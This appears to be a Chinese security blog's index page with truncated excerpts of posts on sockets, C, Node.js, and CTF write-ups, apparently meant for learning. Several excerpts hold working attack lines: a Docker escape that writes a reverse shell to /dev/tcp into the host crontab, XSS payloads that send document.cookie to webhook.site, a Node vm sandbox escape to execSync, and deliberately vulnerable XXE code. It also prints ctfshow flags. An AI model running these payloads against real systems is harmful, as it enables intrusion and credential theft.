网络编程基础
Socket套接字概念Socket(套接字)是计算机网络数据结构,它是TCP/IP网络环境下应用程序与底层通信驱动程序之间运行的开发接口。
本质:它是对 TCP/IP 协议族的封装,提供了一套调用接口(API)。可以把它看作是网络通信的“端点”。
标识:一个 Socket 通常由 IP地址 + 端口号 唯一确定,代表着网络上的一个特定进程。
作用:将应用程序与具体的 TCP/IP 隔离开发,使得程序员不需要深究网络协议的复杂细节,通过调用 Socket API 就能实现网络传输。
方式与类型根据底层协议的不同,Socket 开发接口可以提供面向连接和无连接两种服务方式。在 Socket 中,主要分为以下三种类型:
流式套接字 (Stream Socket) -> 对应 SOCK_STREAM
底层协议:基于 TCP 协议。
特点:
面向连接:通信前必须先建立连接(三次握手)。
可靠性高:保证数据按顺序、无重复、无丢失地到达。
无记录边界:数据像流水一样传输,接收端可能一次接收多个包的数据,也可能半个包(需要开发者自己处理粘包/分包问题)。
开销大:因为要维持连接状态和保证可靠 ...
nodejs原型链污染
原型和原型链对象在 JavaScript 中,对象是无序属性的集合,其属性可以包含基本值、对象或者函数(方法)。你可以将对象简单地看作是一个包含键值对(Key-Value pairs)的容器。12345678910const user = { name: "Alice", age: 25, greet: function() { console.log("Hello, I'm " + this.name); }};// 访问对象属性console.log(user.name); // "Alice"user.greet(); // "Hello, I'm Alice"
原型每个 JavaScript 对象(除了 null)在创建时,都会与另一个对象自动关联。这个被关联的对象就被称为原型。对象可以从它的原型上“继承”属性和方法。
原型涉及两个容易混淆的概念:
__proto__ (隐式原型):这是每一个对象都有 ...
初识C语言
语言的继承和发展机器语言二进制的机器语言计算机只能读懂机器语言0和1
优点:计算机可以直接识别。缺点:编写调试非常麻烦。
汇编语言—->汇编器翻译成机器语言第一种编程语言,是机器语言的助记符。优点:效率高,体积小,非常灵活,可以直接操作计算机各个硬件。缺点:程序员需要掌握大量的细节和基础知识,兼容性差,编写调试麻烦。
C语言高级汇编语言—>翻译成汇编语言
优点:3.1)结构化设计语言,语法清晰、结构简单,模块化使得程序的各个部分除了必要的信息交流外彼此独立,便于开发、调试以及分工协作。3.2)运算符多,把括号、赋值、强制类型转换等都作为运算符处理,灵活使用各种运算符可以实现在其它高级语言中难以实现的运算。3.3)数据结构丰富,能实现各种复杂的数据类型的运算,引入指针、结构体概念使程序效率更高。3.4)为操作系统而生,可以像汇编语言一样对位、字节和地址进行操作,允许直接访问物理地址对硬件进行操作,把高级语言的基本结构和语句与低级语言的实用性结合起来。3.5)程序执行效率高,一般比汇编程序生成的目标代码效率低10%~20%。3.6)可移植性好,C语言抽象了针对CPU编程的细节, ...
ctfshow 信息收集
本篇wp由小睿孩所写,已获得xrh同意上传!同时也感谢xrh的编写
第1关-第5关第1关
靶场进去是这样的,然后查看网页源代码
ctfshow{5c545075-c0dd-4338-8bd8-6f6cadedd007}
第2关
第一种解法:进去以后发现查看不了网页源代码
但是可以按crtl+u 查看
js前台拦截 === 无效操作
第二种解法:
ctrl + shift + i 打开开发者工具
第三种解法:
手动输入view-source协议:即可查看
第3关首先进去界面
先抓包,开启拦截
将 Intercept 的选项变成on就可以了,如果是页面已经进去的情况下,那么重新刷新即可
然后右击
点击 send to repeater
得到返回的数据
成功得到flag,同样的在Inspector里可以看到返回包的细节,也可以看到flag
第4关题目让我们查看robots,那么我们直接在url后面输入robot.txt
然后可以看到他给了一个路径
flagishere.txt,然后我们接着找
ctfshow{b95d7838-10a3-414b-814b-c0bc5a25231f ...
K8s逃逸基础
核心作用与架构为什么需要k8s当docker容器数量激增时,面临三大难题:
部署困难:手工管理数百容器效率低下
调度困难:资源分配不均导致部分节点过载
运维难题:故障恢复、版本更新费时费力
K8s核心组件12345678910graph TD %% Master节点架构 Master[Master节点] --> API[API Server] Master --> CM[Controller Manager] Master --> Sch[Scheduler] %% Node节点架构 Node[Node节点] --> Kubelet[Kubelet] Node --> Proxy[Kube-Proxy] Node --> Pod[Pod]
Service 服务
TCP Ports TCP 端口
etcd
2379, 2380
API server
6443
Scheduler
10251
Controller Manager
10252
Kubelet API
1 ...
docker逃逸基础
Docker基础概念与核心价值Docker是什么Docker是一种轻量级容器技术,可将应用及其依赖环境打包成标准化单元
逃逸方法写入Crontab定时任务逃逸启动容器时,如果将宿主机的根目录(/)挂载到容器内部的某个目录。由于 Docker 默认以 Root 权限运行,这意味着我们在容器内拥有了对宿主机磁盘文件的全写权限。通过修改宿主机的crontab文件,即可实现从容器到宿主机的控制权转移。
创建一个特权容器并挂载宿主机根目录
1sudo docker -H 192.168.111.20:2375 run -it -v /:/host --privileged ubuntu:18.04 /bin/bash
容器内直接向宿主机crontab写入反弹shell命令
1echo '* * * * * root bash -i >& /dev/tcp/192.168.111.25/9998 0>&1' >> /host/etc/crontab
攻击机启动一个监听:
1nc -lvvp 9998
写入ssh公钥逃逸这个其实跟前面写入定 ...
ctfshow xss漏洞
第316关-第321关第316关直接使用webhook输入1234<script> var img = new Image(); img.src = "https://webhook.site/你的专属ID?cookie=" + btoa(document.cookie);</script>
然后正常等就行,一般会刷新几轮刷出来
第317关对script的绕过,换一个测试语句就好<svg onload="new Image().src='https://webhook.site/你的专属ID?cookie=' + btoa(document.cookie)">
第318关和前面一样的没啥好说
js沙箱逃逸
概念vm 模块提供了一系列 API,用于在 V8 虚拟机环境中编译和运行代码。
逃逸的本质定义:通过某种方式拿到沙箱外的 global.process 就算成功。
核心实现路径:获取沙箱外对象 $\rightarrow$ 调用 global.process.mainModule.require("child_process").execSync("whoami").toString() $\rightarrow$ 实现 RCE。
结合各种命令执行的绕过技巧(参考上一篇命令执行绕过总结),我们可以构建出多样的逃逸 Payload。
VM 原理及逃逸方法基本用法官网提供了一个创建基础 VM 沙箱的例子:
1234567891011121314const vm = require('vm');const x = 1;const sandbox = { x: 2 };vm.createContext(sandbox); // 上下文隔离化(Contextify)const code = 'x += ...
ctfshow xxe漏洞
第373关-378关第373关1234567891011121314151617181920212223<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-01-07 12:59:52# @Last Modified by: h1xa# @Last Modified time: 2021-01-07 13:36:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_i ...
node.js基础
发展史曾经的 JavaScript:只能在浏览器里“打工”在 2009 年之前,JavaScript 确实只能作为前端语言运行。这是因为 JavaScript 代码需要一个“翻译官”(JavaScript 引擎)才能被计算机理解,而当时这些“翻译官”只存在于网页浏览器(如 IE、Firefox、Chrome)内部。因此,JS 的能力被严格限制在网页交互上,它碰不到电脑的本地文件,也做不了服务器的网络底层操作。
Node.js 的诞生:2009 年的“越狱”在 2009 年,一位名叫 Ryan Dahl 的程序员做了一件极其聪明的事:
他把 Google Chrome 浏览器里最核心、最快的 JavaScript 引擎(叫做 V8 引擎)单独“抠”了出来。
他用 C/C++ 为这个 V8 引擎加上了许多底层 API 接口,比如读写操作系统文件、处理网络 TCP/HTTP 请求、管理系统进程等。
他把这个组合体包装起来,命名为 Node.js。
为什么大家都叫它“后端语言”?因为 Node.js 的出现,打破了 JavaScript 只能在浏览器里运行的宿命。 现在,开发者只需要把写好 ...








